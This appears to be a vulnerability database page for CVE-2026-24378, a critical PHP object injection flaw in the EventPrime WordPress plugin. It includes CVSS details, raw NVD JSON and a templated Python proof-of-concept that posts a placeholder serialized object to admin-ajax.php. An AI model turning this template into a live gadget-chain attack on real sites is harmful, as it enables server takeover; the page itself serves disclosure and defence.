Security Vulnerability Report
中文
CVE-2026-24378 CVSS 9.8 CRITICAL

CVE-2026-24378

Published: 2026-03-25 17:16:38
Last Modified: 2026-04-24 16:32:54

Description

Deserialization of Untrusted Data vulnerability in Metagauss EventPrime eventprime-event-calendar-management allows Object Injection.This issue affects EventPrime: from n/a through <= 4.2.8.0.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Metagauss EventPrime <= 4.2.8.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target URL configuration target_url = "http://target-domain.com/wp-admin/admin-ajax.php" # Vulnerable parameter and action (Hypothetical) action = "ep_event_import" # Example action # PHP Object Injection Payload placeholder # Note: Actual exploitation requires a specific gadget chain (e.g., Monolog, Guzzle, etc.) present in the WordPress environment. # This is a template demonstrating the request structure. payload = 'O:8:"StdClass":1:{s:3:"foo";s:3:"bar";}' data = { "action": action, "event_data": payload # The parameter containing the untrusted data } try: print(f"[*] Sending payload to {target_url}...") response = requests.post(target_url, data=data) if response.status_code == 200: print("[+] Request sent successfully.") print(f"[+] Response: {response.text[:200]}") else: print(f"[-] Server returned status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-24378", "sourceIdentifier": "[email protected]", "published": "2026-03-25T17:16:38.073", "lastModified": "2026-04-24T16:32:53.997", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Deserialization of Untrusted Data vulnerability in Metagauss EventPrime eventprime-event-calendar-management allows Object Injection.This issue affects EventPrime: from n/a through <= 4.2.8.0."}, {"lang": "es", "value": "Vulnerabilidad de deserialización de datos no confiables en Metagauss EventPrime eventprime-event-calendar-management permite la inyección de objetos. Este problema afecta a EventPrime: desde n/a hasta &lt;= 4.2.8.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-502"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/eventprime-event-calendar-management/vulnerability/wordpress-eventprime-plugin-4-2-8-0-php-object-injection-vulnerability?_s_id=cve", "source": "[email protected]"}]}}